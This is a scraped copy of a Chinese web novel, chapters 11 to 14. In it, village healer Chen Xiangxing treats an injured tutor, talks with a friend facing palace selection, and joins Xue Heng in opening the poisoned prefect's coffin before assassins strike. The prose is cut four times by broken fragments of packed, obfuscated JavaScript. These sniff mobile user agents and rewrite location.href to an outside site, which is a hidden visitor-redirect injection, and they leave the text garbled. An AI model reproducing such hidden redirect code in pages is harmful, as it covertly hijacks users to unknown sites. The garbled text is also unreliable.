l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668093|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
薛珩有些茫然地看着自己的指尖,直到陈湘行向后退了好几步,发丝被抽走后才堪堪缓过神来。
“官府办案,我们这些做百姓的乐于分忧难道也变成了坏事吗?”陈湘行压下心头转瞬而逝的跳动,有些不满道,“既然如此,下次若是薛大人再有什么要人帮忙的地方,那就不要叫我了。”
说罢她就转身朝着门口走去。
“不是、诶!”薛珩也没想到她会是这个反应,一时间有些愣,反应过来后连忙追上皱眉不解道,“我不是这个意思……”
话还没说完他和陈湘行就都顿住了脚步。
庄子门口的青石阶上,一个身影正扶着门柱剧烈喘息。
那是个约莫十三四岁的少年,一身靛青的书生袍已经被汗水浸透了大半,发髻松散地歪在脑后,几缕湿发狼狈地贴在苍白的脸颊上。
见到陈湘行的刹那,他几乎是踉跄着扑上前一把抓住她的袖口:“湘姐姐!你快去救救我爹!我爹!我爹他要被打死了!”
这少年恰是徐南歌的弟弟徐文载。
陈湘行见他这个模样顾不得再去听薛珩预备和她说的话,二话不说就跑进屋背上装着药草和针的背篓,跟在徐文载身后就朝着徐家所在的地方跑去。
从田庄到徐家的这段路算不上太远,可在此时的徐文载看来却仿佛一眼望不到头一般。
他眼眶红彤彤的,里面还沾着没流下来的泪花。
“出什么事了?”陈湘行一边跑一边喘着气问道。
徐文载有些哽咽:“今年春闱放榜,前几日的时候我爹以前的学生带了两坛竹叶青回来,我爹好意就让当时在家里的学生一起用些,也算是祝他们借这个运道金榜题名。”
“可谁知道里面有个学生的娘以此为借口,说我爹故意要教坏她儿子,害得她儿子如今一病不起,险些小命都丢了,干脆叫了一群人找上门来。”
“我爹他肯定不认这件事,他毕竟只是好意,更不要说这两坛竹叶青大家都喝了,偏偏只有方家那小子出了事,怎么样怪罪也怪不到他身上来才是!”
他们走到徐家的时候人还没有散去,陈湘行一眼就看见了被围在人群中骂骂咧咧的方夫人和苍白着脸双眼呆滞的方晏。
他们对面则是抱着满头血的徐夫子垂泪的孟夫人和手里拎着厨刀的徐南歌。
徐南歌手里的刀就架在一个汉子脖子上,她眼睛里的怒火几乎快要喷涌而出。
不知道对面的方夫人嘟囔了两句什么,她冷笑一声直接开骂:“老不死的东西,你这张嘴巴要是再不放得干净点信不信老娘直接让你永远把嘴巴闭上!”
刀光映着她通红的眼角,只听见方夫人一阵尖叫:“死丫头片子还想当街行凶!你这样的泼皮无赖以后还有谁敢要你!以后老死在家里臭了都没人知道!要不是你爹这个畜生给我家晏儿饮酒,他怎么会变成现在这样!他早就考上秀才了!”
陈湘行穿过人群,只见徐南歌被气的满脸通红,她直愣愣地拿着刀冲向方夫人,刀锋几乎马上就要碰上方夫人的脖子了!
方夫人却还冷笑着不以为然,梗着脖子直直面向徐南歌手中的刀。
“南歌!”
11. 选秀
陈湘行感觉在一瞬间自己喉咙都喊哑了,她几乎是三步并作两步直接冲上前去,死死握住徐南歌持刀的手,不敢让她动弹。
触手便是一片冰凉,还在微微颤抖。
她怎么可能不怕?
若是方夫人真的不躲不避,到时候一刀砍下去没了命,她徐南歌又有什么好果子吃呢?
可是身为女儿她也做不到就这么着方氏咄咄逼人,若是连家里人被欺负到这个份上也不能站出来,那她真是枉为人女!
徐南歌转头看她,声音哑得不成样子:“芃芃、芃芃!”她一把抓住陈湘行的手焦急道:“你快去看看我爹!他们!他们把我爹推倒在地上正好砸破了头!流了好多好多血……”
陈湘行被她推着朝后,只见徐夫子躺在孟夫人怀中,额角处破了个血窟窿,里头还汪着血,长襟前几乎被染红了一大半。
孟夫人低头用绢帕死死地按住伤口,可鲜血不住地从她的指缝间流出,滴落在地面上积成一小片触目惊心的红。
“都让开!”
徐南歌一边吼着一边拉着她扑到徐夫子面前,小心翼翼地捧起他的额头望向陈湘行:“芃芃,你快看看我爹他怎么样了!”
方夫人在后面见状立马柳眉倒竖嚷嚷道:“他自己脚底下没站稳摔了一跤,这哪能怪到我们头上来!再说了,人在做天在看,你爹他有这个下场也不过是他应得的!”
徐文载憋红了脸却又不能冲着妇孺大喊大叫,只好冲到双眼无神的方晏面前一把提起他的领子:“从前你爹死了后家里连束脩都交不起,县里的私塾都把你赶出来了,是我爹看你寒窗苦读数年不忍心,才收你在家念书!”
“方晏!你这个人有没有良心!”
“我爹都多大年纪了!怎么禁得起这么一摔!你娘不明白发生了什么难道你还不明白吗?!男子汉大丈夫一人做事一人当,把责任推到旁人头上算什么英雄好汉!”
方夫人哪里见得了自家儿子被人推来推去,直接转身趁着徐文载不注意一把把他推到地上:“瞎嚷嚷什么呢!我儿怎么就叫把责任推到旁人头上了?分明就是你爹拿了酒来让他喝,这才导致他得了什么酒什么的病!你看看,他现在都站不起身!还不都是拜你们家所赐!”
她搂着方晏的头一下子眼泪就落了下来。
徐文载被推得跌坐在地上,他气得浑身颤抖指着方夫人却不知道该说什么,憋了半天只能大声朝着方晏道:“你倒是说句话啊!”
他能说什么?他该说什么?
方晏挤出一个比哭还难看的笑容:“娘……”
方夫人压根没听儿子说什么,只是添油加醋地将先前陈湘行在回春堂内说过的关于方晏如今的病症加重了许多,愤愤不平地让乡里乡亲评理。
陈湘行利落地从药篓里取出干净棉布压住徐夫子汩汩冒血的额角,同时从药篓取出金疮散。
她一手稳住徐夫子颤抖的头颅,一手将金疮散均匀洒在伤口上,见血势稍缓,又取出银针刺其穴位,另一手掐他人中。
待徐夫子呼吸渐稳,她才松开染血的衣摆。
孟夫人自从嫁人到现在何曾见过如此惨烈的场景,腿上软得竟一点力气都没有了,还是徐南歌强行撑着她才能站起来。
只是转头她又听到方夫人蛮不讲理的话语,气险些喘不上来,只能捂着胸口感觉一阵一阵的闷痛。
“方夫人,我记得前两天在回春堂的时候就和你说明白了,你家儿子这个病不是喝一次酒就会得的,而是长期下来酗酒成性,才会导致如今这个境况。”
陈湘行站起身走到方晏面前,盯着他涣散的瞳孔:“方晏,人的脉象是不会作假的,而你的脉象告诉我,将近有一个月的时间,你都在外面买醉。”
方晏颤了一下。
方夫人尖叫反驳:“死丫头骗子乱说什么呢?!我儿明明一直在准备春闱,哪有有空出去乱喝酒?!他可是要考取功名的人!”
“功名”两个字在这一瞬间似乎牵扯到了方晏的心神,他原本麻木的脸上第一次显露出了愤怒的表情。
他猛地挣脱刚刚方夫人握住他的手崩溃大喊:“功名!功名!我这辈子都不会有功名了!”
方夫人一下子愣住了,她皱紧眉头看自家儿子,第一次怀疑他是不是得了失心疯,否则怎么会突然说出这样一番话来。
“你瞎说什么呢……”
“娘……儿子求你了,有什么话咱们回去说,别在这里……”方晏痛苦地抱住自己的头,犹似呻吟。
方夫人扯扯嘴角,一时间竟然不知道说什么。
陈湘行不愿多管方家母子二人之间打的机锋,只是嗤笑一声,转身回去检查仍旧昏迷不醒的徐夫子的具体情况。
刚刚失手把徐夫子推倒在地的大汉此刻也有些呐呐无言,他本是方夫人的娘家子侄,来之前只听方夫人囫囵说了几嘴,便义愤填膺地来徐家寻个公道,却没想到事情会是如此发展。
“夫子年纪上来了,禁不得这样的推……”陈湘行摸着脉眉头蹙得死紧,“那些补身子的药可不便宜。”
徐家因为徐夫子的缘故在榴山村也算得上是殷实人家,只是如今看徐夫子的样子恐怕要休养很长一段时间,孟夫人基本上在家是不做活的,徐文载又要去县里的官学念书,又是一笔大开销。
徐南歌从口袋里摸出几贯铜钱:“我记得你说过,有些病症一旦拖沓了,本来没什么事的就会变成大病。我爹的病不能拖,这些你先拿去帮我爹抓点药回来。”
陈湘行在心里默默算了一下药钱,手里这几串沉甸甸的铜钱肯定是不够的。
如今这个世道,药钱贵得惊人。
徐南歌也不是不通庶务的人,见状立马站起身先安慰孟夫人和徐文载扶着徐夫子先回屋,随后关起大门隔绝掉外面吵吵嚷嚷的声音,拉着陈湘行的手就往自己闺房走去。
她的屋子里没什么特别名贵的器具,但市集上那些色彩鲜艳的小玩意不在少数,乍一眼看上去显然一副花团锦簇的模样,比起陈湘行那个雪洞一样的屋子要漂亮得多。
陈湘行按照刚刚摸出来的脉象先开了点温和的药方搁在她房间的桌案上,随后张口道:“南歌,你如今身上能拿出来多少钱?我到时候去回春堂问问我师傅,看他能不能给你便宜些?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668094|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我可不想欠你这个人情,这些给你够不够?”
徐南歌干脆利落地拆开自己的枕套,露出里面的好几碇银子,取出来放到陈湘行手掌中央。
“不是!你哪来这么多钱?!”陈湘行惊呆了,脱口而出便是,“就算你日夜不合眼地做绣活,卖也卖不了这么多吧!”
“哎呀,你管那么多干嘛!”徐南歌颇为心虚地看了一眼屋子外面,连忙比出一个让陈湘行压低声音的动作鬼鬼祟祟道,“这可是我嫁妆本……”
“不对不对,你以前从来没有提起过这笔钱。”陈湘行连连摇头,把银子放回她手中后板起脸,“我俩认识这么多年我还不清楚你吗?你哪来什么嫁妆本?还不老实交代,哪里来的钱?”
陈湘行狐疑地看着徐南歌,她们这么多年的交情,自然知道她不可能去干什么作奸犯科的坏事,但突然见到这样一笔银钱,还是让她忍不住有些犹豫。
“啧……”徐南歌揉了一把脸,半晌没吭声。
二人本来正僵持着,房门“砰”得一声被推开。
徐文载气喘吁吁地站在门口,脸色煞白:“姐!那笔钱是娘留给你用来打点来选人入宫的内监的!不能花!”
“大不了我不去念书了!”
崇德八年的时候圣上年满十八,原本宫中就预备着要给他选秀大婚了,结果年中的时候张太后因病去世,只能拖着守孝。
本朝早就有天子守孝二十七天以代三年的俗例,只是当时恰逢民间多地起迕逆案,风言风语下言官请旨让圣上以身作则,圣上只好扎扎实实替张太后守了三年孝。
没成婚则不可亲政,如今圣上都二十二岁了,朝中事务大多还是乐成侯在处理。
直到今年,金陵那边才传来圣上要选秀的旨意。
本朝宫妃大多出身民间,像徐南歌这样生得貌美,父亲还有举人名头的女孩,很容易就被内监选上。
只是徐家夫妇心疼女儿,再加上徐南歌这样的性格也不适合入宫,所以这些银子是孟夫人他们这么多年攒下来的全部家私,留给女儿打点免去选入宫这一遭的。
“你疯了!家里辛辛苦苦供你念书这么多年,你现在说不念就不念?”徐南歌戳着弟弟的额头气得鼻子都歪了,“选秀入宫有什么不好?若是你姐以后真当上了嫔妃,到时候咱们全家都能过上好日子!哪里还会像现在这样,老是被别人欺负?”
徐文载大喊:“爹娘早就帮你看好了夫婿,还是爹的学生呢!你先前不是说他性格温和同你比较相处的来吗?况且他家里又没有父母双亲,过去就是当家主母,也不怕他欺负你!何必要去蹚宫里那趟浑水?”
“那是你们觉得!”
徐南歌哼了一声:“戏文里的美人多配枭雄,你姐我生得这么好,就这么嫁给匹夫草草一生我才不乐意呢!”
“湘姐姐!你看她今日说的都些什么话?!”
徐文载简直抓狂:“你快和她好好说说!我是说不过她了!”
“我去回春堂先抓药!”
说罢他抓起刚刚陈湘行写好的药方就跑了出去,似乎不想再听徐南歌接下去说的话。
12. 煎饼
“你真打算入宫啊?”
陈振邦如今是正二品的官员,按照大明选妃只选五品以下官员和平民女儿的律例,陈湘行倒是从来没有过这个烦恼。
徐南歌把铜镜搬到面前,摸着自己的脸撇撇嘴:“爹娘都觉得宫里是洪水猛兽,可他们也不想想难道我在外面就一定过得好吗?”
凭心而论,她确实长了一张很漂亮的脸。
哪怕因为日日都要去集市上摆卖绣品,徐南歌的脸依旧还是那样的白,眉间的那点红痣更是被庙里的和尚赞叹过有观音之像。
更不要说她五官都取了徐氏夫妇的长处,生得秀丽美艳,若是放在王朝末期,天然就是一副祸国妖妃的模样。
这样的姝丽,不是寻常人家能消受得起的。
“孟姨这是担心你的性子咋咋唬唬的,到时候进了皇宫要小心谨慎,恐怕会拘束了你。”陈湘行也知道她说的不过是气话,“哪里就到了你要卖身进宫的地步呢?”
“噗嗤——”徐南歌被她逗笑了,“你这话说的。”
她正正神色:“但是芃芃,我没有和你们开玩笑。我娘确实已经准备给我订人家了,但是我见过文哥儿嘴里说的那个人,长得一般般,家里也穷,最重要的是我爹口口声声说他有前程,但到现在为止还没考上秀才。”
要知道就连徐文载今年都考上秀才了。
“哎呀,这个你看不上眼那就换一个呗。”
陈湘行是觉得就她现在所知道这些事儿来看,宫里也不太平,再加上圣上身子孱弱,寿数如何还不清楚,她可不想自家好姐妹进了宫之后当寡妇。
毕竟这世上没有嫔妃再嫁的道理。
“你说的活像选夫婿和选地里的大白菜一样。”徐南歌没好气道,“你都还没及笄自然不着急,我都十八了!”
陈湘行尴尬地笑了一下:“十八不恰好一枝花么?”
“一枝你个大头鬼!”徐南歌随手拿起案边的戏本往她脑袋上轻轻一拍,“我若是被选上了宫妃,金陵那边少说都要批一大笔银子下来,到时候不管是我爹的毛病还是文哥儿上学的银钱就都有了着落,何乐而不为呢?”
她噼里啪啦说了一堆,坐在她对面的陈湘行却像锯了嘴的葫芦一声不吭,等到最后徐南歌冷静下来和她大眼瞪小眼,她才缓缓开口:“真心话?”
徐南歌有些不自然地瞥了下嘴,抽动了两下唇小声道;“半真半假。”
要不然怎么说两人是从小长大的情谊,陈湘行早就猜到她说的这一番话与其说是给她听的,不如说是给自己听的。
在外头遭人觊觎固然不好,可入宫也不见得是什么好事,只是两相比较之下,入宫便也不算坏。
“董阿婆老早就来我家说过媒,牵的是县上顾同知家的小儿子。”徐南歌摇头,“他家里是什么条件,怎么会无缘无故聘我去当媳妇?”
“文载和他同窗去打听过了,那小子还没成婚房里就姬妾成堆,他家夫人才急着给他定一个顶顶美貌的进府去管束他。你说说,这样的人家我家过去能落得什么好处……”
她抬起头:“可偏偏,他家的姻亲还管着我爹教书的私塾。”
人在屋檐下,不得不低头。
可婚嫁对女儿家来说是人生中最重要的大事无疑,她不愿任人摆布。
虽然哪怕不管是爹娘还是弟弟都说绝不可能让她嫁入那等人家,但若人家真想要她,又哪里是他们家可以摆脱得了的?
进宫实际上是眼下最好的一条路。
况且她生来这个模样,又哪里甘愿屈居人下?
“你先别急,东平县现在不见得有多太平,这些官员估计现在自顾不暇,应该没有空来管你们。”陈湘行想到周府不翼而飞的尸体,“你说的那个顾同知,现在应该正焦头烂额才对。”
同知作为知府的副手,周既明要处理的事情肯定也会经过他们的手,他如今不明不白地死在任上,金陵那边派来的官员估计很快就要把他们抓去提审了。
徐南歌和她絮絮叨叨说了一会话心情好了许多,心神松下来后她又想到了刚刚跌破头的徐夫子:“我爹头上磕得应当没事了吧……”
“还好,头上那就是皮外伤。”陈湘行撑着下巴,“只是徐夫子这几年下来估计因为学生的事劳烦心神,所以身子骨都多少少都有些损伤,今日摔一跤估计又有不少折损,能用些滋补的药还是用些吧,对人身体好点。”
“说来也怪,今日闹上我家的那个方晏,我爹春闱前一直在家里夸他学问做得好,文章策论也写得漂亮,不知为何今年春闱竟然名落孙山,你要知道,我爹这许多文章作的不如他的学生都考上了。”
徐南歌随手抓了一块花饽饽塞进嘴里,嚼吧嚼吧叹了口气:“估计是人各有命,他命里就没这个运道。”
“你这话可说的不对,这连年旱灾水涝不断,老天爷才没空管咱们命呢,我看啊,多半还是他自己文章作偏了,又不好意思说。人就是这样,死要面子活受罪!”
徐南歌心有戚戚然地点了点头,还好她不用去考状元,否则这一年两年的考下来怎么都中不了,人迟早得疯了。
从徐家出来的时候日头已经微微有些落了,等走到田庄门口陈湘行感觉自己肚子瘪瘪的,中午走的时候她就没吃东西,算下来这都一天了,也该饿了。
灶膛里的柴火噼啪作响,锅里腊肉的油脂溶得金黄沸腾,青蒜红椒瞬间在里面爆起辛香。
陈湘行瞬间窜到尤姑姑面前,拿起早就洗好摆在一旁的筷子夹了一块盛上来的肉,嘴巴里瞬间被辣味填满了,呛得她连咳了好几声。
“姑姑!这也太辣了吧!”陈湘行有些哀怨地看着掌勺的尤姑姑。
虽然小时候开始就一直吃辣味的菜,但是尤姑姑年纪越大味蕾越不敏感,她现在觉得有点辣味的菜对陈湘行而言简直辣到她天灵盖了。
“我吃着还行,那姓薛的小子也没说辣。”尤姑姑诧异道,“他难不成比你还能吃辣不成?”
“怎么可能!”陈湘行扒了两口饭觉得实在辣得过分,脸皱成一团放下碗筷,“他去哪了我去看看他!”
说完就一溜烟地跑了出去,尤姑姑看着她碗里还留了一半的饭忍不住犯起难,她现在舌头是不灵敏了,不行的话以后改改口味,做些不辣的?
可她又想让湘丫头记住从前楚地的味道。
陈湘行沿着庄子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668095|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往前溜达了两步,原本不吃东西还好,吃点东西之后不吃饿得更厉害了,胃都一抽一抽的。
这个时候哪里还有吃的?她饿的都想啃自己几口,但是尤姑姑烧的那些吃下去嘴巴辣得疼不说,辣到胃更痛,可她把辣椒炒腊肉和米饭拌在一起,是真吃不下去。
陈湘行蹲在路边百无聊赖地玩着狗尾巴草,路过的晚风将她的碎发吹得轻轻晃动。
她正有些发呆,一声细弱的呜咽突然从路边的草垛传来,分明是嫩生生的小狗叫!
村里养的大多都是高大威猛的看家狗,陈湘行很少见到这样毛茸茸的黄色小东西。
躺在草垛里瑟瑟发抖的是一只黄毛白脚的小土狗,湿漉漉的黑鼻子一抽一抽的。
它看见陈湘行伸出的手,一开始还怯生生地往后缩了缩,见她没什么动静,又忍不住伸出小舌头试探性地舔了舔她的手指,一吮一吮的,像在喝奶一样。
“汪呜!”
陈湘行摸了摸它身上有点乱的毛:“别嘬了,知道你饿,可你看看我这样,我也要饿死了……”
“它可不会饿死。”
薛珩的声音不知何时突然冒了出来,陈湘行转头望去,只见他手里拎着一个用油纸包裹着的煎饼。
他踱步到草垛边上后蹲下身,挑出里面的一小段肉肠,吹了吹后放到小狗儿边上。
好了,现在狗有吃的了她没有。
陈湘行瘪瘪嘴,小狗吃得哼哼唧唧,毛茸茸的尾巴摇得飞快。
“你这煎饼哪里买的?”
陈湘行闻着薛珩手里传来的香味,忍不住吞咽了一下口水,琢磨着要是就在离这不远的地方,她就跑过去给自己也买一个。
薛珩慢条斯理地又掰下小半根肉肠:“不远,就在村口那边,只是我去买的时候那婆婆就说准备回去了,这是最后一个。”
天理何在!
那她今天岂不是要饿肚子饿到明天早上?
陈湘行唉声叹气地看着小狗吃得飞快,觉得自己羡慕得口水都要流下来了。
“怎么?今日尤姑姑做得菜不合你胃口?”
陈湘行哼哼了两声,不想搭理薛珩。
结果下一秒,她的面前就出现了另一块被油纸包着还热气腾腾的煎饼。
薛珩啃着刚刚喂给小狗吃的半块,面对她诧异的神情低笑一声,悠哉悠哉地开口:“不是饿了么?怎么,不吃啊?你要是不吃的话,我可给狗吃咯。”
饿得快死了有什么不能吃的?
陈湘行从他手里接过煎饼后狠狠咬了一大口,肉肠的香味让她顿时发出满足的叹息。
她嘴巴里还吃得鼓鼓囊囊的,也没忘记问薛珩:“你怎么知道我没吃饭?还给我带了一份回来,这么好心?”
那双圆溜溜的猫眼里透露出好奇。
“前几日和你一起吃饭的时候,你尽挑没那么辣的酱菜吃,今日姑姑做的那些比先前那些辣了不知道多少,我就猜到你肯定吃不下了。”
薛珩的嘴角漾起弧度,手撑下巴歪头看着陈湘行。
“观察这么仔细,你该不会仰慕我吧?”
少女啃了一大口煎饼,仰头有些揶揄地看向他。
13. 义庄
“谁仰慕你了?”
薛珩像是被踩到尾巴的猫一样迅速站起身,陈湘行能感受到他的目光将自己从头到尾打量了一遍,然后撇撇嘴吐出四个字:“自作多情。”
陈湘行也不生气,悠闲地把嘴巴里的煎饼吞咽下去:“那你无缘无故对我这么好干嘛?还好心给我买东西吃,无事献殷勤非奸即盗。”
“哼。”
枉费他难得起的善心,这死丫头还揣测起来了。
薛珩看着她:“周既明身亡后没多久金陵就派人过来探查,中间只有短短几日时间,能在周府运送那么大个棺椁而不被发现,必然要里应外合。”
“我且问你,这几日来,周府边上可有死去的人家办丧?”
“原来是贿赂。”陈湘行嘟囔了一声,但秉持着吃人嘴软拿人手短的态度,她还是一边慢慢嚼着嘴巴里的饼一边回忆,“周府边上……”
“周知府在东平县当了那么多年知府,一直两袖清风,府邸也没搬去地价更高的地方,所以后面的巷子里住的是那些从更北的地方搬迁来的百姓。”
陈湘行眨眨眼,想到自己从回春堂里闲聊时听到的消息:“前段时间好像确实死了个人,就在周知府出事后没两天吧。周府后面的巷子里死了个打更的更夫,说是失足落水死的,又因为他常年游手好闲,所以无儿无女孑然一身,死了之后就直接被拉去义庄了。”
“义庄?”
薛珩心神一动。
“那里大多是给孤苦无依的人一个安身之所,说起来离这也不远,就在当时我捡到你的那片竹林后面。”陈湘行望着远处的炊烟,心中突然浮出一个疑惑,“你当时怎么会去那儿?”
“我要找的人在太平村内。”
“太平村里面哪里还有什么人是你要找的?”陈湘行眼睛骨碌一转连忙凑到他身边,“和你来这里要查的案子有关吗?”
薛珩却摇了摇头:“我来这里是为了两件事。”
“周既明死前向圣上交了一份密折,与今年春闱舞弊案有关,蹊跷的是他这份折子送到金陵没多久就病逝了,舞弊牵扯的名单都没有来得及递交上来,所以朝中才派解隐舟过来,主要是为了找那份舞弊的名单,他是明线,我是暗线。”
“解隐舟?”陈湘行愣了一下。
“就是解渊,隐舟是他的字。”薛珩瞟了她一眼,“怎么?你对他很感兴趣吗?”
陈湘行尴尬地笑笑,连忙摆手:“没有没有,那样光风霁月的人物哪里是我能高攀得起的!”
“光风霁月,哼,也就骗骗你们这些小姑娘。”
那人家的言行举止、姿容风貌确实比你强了不是一星半点啊,而且也没有上来就对人喊打喊杀,看起来就是一副温润君子的气度。
陈湘行忍不住腹诽,多半是这家伙自己装不出来那副模样,就在背后说别人坏话。
但她还是忍住自己想要反驳的心情,把话题引到自己更感兴趣的事上:“那第二件事呢?是什么?”
薛珩突然转身往田庄的方向走了两步路,唇角勾起一抹愉悦的笑容:“想知道?”
陈湘行小鸡啄米般地点点头。
“行啊,今天晚上再给我带个路,我就告诉你第二件事情是什么。”
大晚上的到底是谁会想出门啊?!但是她想到自己还有求于人,只能咽下满腹愤慨,迈开步子跟上薛珩:“一定要晚上去吗?不能白天吗?我们又不是去做贼的……”
“谁说不是?”薛珩蹲下脚步,有些玩昧地看着她。
“啊?!”
-
夜黑风高,等南边正屋和东厢房里的烛火都灭了,陈湘行才鬼鬼祟祟地推开了屋门。
薛珩已经抱着剑气定神闲地站在门口等她了。
从田庄出去穿过竹林到义庄实际上要花的时间并不多,但因为天黑,再加上为了不引人注目,他们连灯都没有拿,陈湘行这下就更不敢快步走了,生怕自己一个没注意磕碰到了。
一路上顶着薛珩的冷眼,陈湘行走得都拖拖拉拉的,直到大半个时辰过去,他们才到了太平村前。
此时的太平村格外的荒凉孤寂,陈湘行也是第一次大半夜来这里,黑灯瞎火的只有惨白的月光照在小径上,野蒿投在地面上的影子仿佛一个个歪扭的人影,吓得她一哆嗦。
“啧,胆小鬼。”
身前传来少年不屑的声音,眼见他走得越来越远,陈湘行立马加快脚下的步伐,嘴硬道;“谁是胆小鬼了?!我只是看不清脚下的路被绊了一跤。”
“哦?是吗?”薛珩哼笑一下,“光走路也怪无聊的,不如我给你讲几个鬼故事听听?”
“不要!”
小径的尽头立着一处宽阔的院落,门楣上悬着块被风吹雨打得破落不堪的牌匾,“待葬丙舍”四个大字已经已经被虫蛀得看不清本来的面貌。
这里就是停尸的义庄了。
“等一下等一下,我们就这样进去吗?”
薛珩眯眼轻嗤;“那不然呢?”
一想到里面可能会看见摆放的整整齐齐的棺材和不知道会不会突然起尸的尸体,陈湘行心里就已经打起了退堂鼓。
她小心翼翼瞥了一眼薛珩的神色,强装镇静道:“您看我们两个都进去了,到时候要是外面突然来人,都没有一个能望风的人。薛大人,不如我就不进去了,在外面替您看着,您看怎么样?”
“不怎么样,我要望风的人干嘛?这里面死的人又和你没关系,你怕成这样干嘛?还怕他们找上你不成?”薛珩径直推开门,“还不快进来?不想知道第二件事是什么了?”
“您这和拿胡萝卜拴在前面钓驴有什么区别?”陈湘行忍不住嘟囔了一声,可想到自己要打听的事情还是犹豫了一下,蹑手蹑脚地跟在薛珩身后踏进了内堂。
内堂摆放着将近二十余具薄皮棺材,棺盖与棺身间的缝隙里隐约可见棺中人的面貌。
最末那具新停的棺材倒是被压得严丝合缝。
薛珩是怀疑周府有人借着那更夫的死偷梁换柱?可这也不应该呀,就算周府的人真的把周知府和那更夫的尸体换了个身,那他们图什么呢?
陈湘行心里还嘀咕着,身前的薛珩已经手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668096|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摸上了棺椁,她见状立马压低声音急问道;“你干嘛啊!”
“开棺看看尸体?有什么问题吗?”薛珩莫名其妙地看了她一眼。
“神佛在上,你就这么把人家棺材板都掀了?这么冒犯亡灵,小心人家头七回魂直接找上你!”
陈湘行一把拉住他正要开棺的手,朝着后墙神龛里的城隍像说了两句“罪过罪过”,随后恭恭敬敬地站在佛像前拜了三拜,又从旁边拿了三炷香借着红蜡烛的火光点燃,放到供桌上。
“啧,来找我就来找我,他们死了又不是我害的,哪有那么多神佛鬼怪,我从来都不信这个。”薛珩已经有些不耐烦了,“你好了没?”
“你不懂,这就是个念想。”陈湘行悻悻退后两步,有些紧张地看着薛珩抬手抵住棺盖,下一刻棺材就被掀开了。
躺在棺椁里的是个四十岁出头的中年人,身形消瘦、双眸紧闭,面色青灰中透出些不正常的潮红,嘴唇乌紫,十指痉挛蜷曲,指甲缝里还残留着大量布料的碎屑。
周嘉言的五官生得和他有五分像。
“这是周既明?!他这是……中毒死的?”陈湘行睁大了眼。
薛珩看了她一眼:“不是说不会验尸吗?”
“你这话说的,我不会验尸归不会验尸,这中毒死的人嘴唇发紫那是常识吧。”
陈湘行眨巴眨巴眼睛,好奇地探头看向周既明的棺椁,只见里面空空荡荡,一点陪葬品都没有,只有他的头侧摆放了一块玉佩。
“我看你是话本看多了,唇色紫绀是中毒的常见症状之一,但并非所有的毒物都会表现出这一迹象,若换成鹅菌膏或者马钱子之类的,也可能呈现出来的是尸僵显著亦或者是面部狰狞无紫绀。”
薛珩见她一直盯着周既明的尸体一侧,便抬头看了一眼,这一看却凝住了神。
那玉佩圆形方孔,孔中系着五色丝绳。玉配是和田青玉籽料所制,虽不如羊脂玉名贵,却胜在玉质温润凝透。
正面刻着赵体的“澄心”二字,背面浮雕着一株生于悬崖的兰草,边上亦是赵体楷书,写着“既明如月,可破重云”几个字。
陈湘行见他直接把玉佩拿起来看,憋不住问道:“这玉佩有什么问题吗?”
“玉璧的形制是宫中之物,做工却有些粗糙。”薛珩把玩了一下手中之物随后放下,“周既明从前是悼献太子的伴读,此物估计是太子所赠。”
第一次从薛珩口中听到悼献太子四个字,陈湘行心神一动,她按捺下心中的兴奋:“他不是和悼献太子都闹翻了吗?怎么死后周府的人还给他放了从前悼献太子送的玉佩进去,不怕他俩在下面打起来啊?”
“嗯……这便是我来登州的第二件事。”
“弄明白十五年前悼献太子谋反案里面,周既明到底充当了什么角色。”
忽明忽暗的烛火打在他面无表情的侧脸上,只见他略略抬眸望向城隍像背后,突然朗声道;“在后面听了这么久,不如出来透口气?”
风吹过堂内的灵幡,一片寂静无声。
陈湘行下意识往薛珩身后缩了缩。
14. 刺客
城隍像后的红布晃了晃,昏黄的烛光下突然闪出三道鬼魅般的身影,陈湘行还没有反应过来,身边人的剑已然出鞘。
“跑!”
薛珩刚开了个口,就见陈湘行就头也不回地朝着义庄的大门冲了出去。
开什么玩笑?这群刺客一看就是冲着薛珩来的,本身也和她没什么关系,正好趁着现在那家伙把他们缠住了,此时不跑更待何时?
只是她跑了两步,又忍不住顿下脚往回看。
只见几道寒光同时向薛珩袭去,他避开了直指咽喉的那一剑,剑锋横架直截了当取了其中一人性命,血花在顷刻间溅开。
只是这样一来他的后背就整个暴露在了另一名刺客面前,冰冷的剑刃直直向他刺去,薛珩的反应很快,立马一个扭身,剑锋堪堪划过他的肋骨处,在原本的旧伤上方多添了一条火辣辣的新口子。
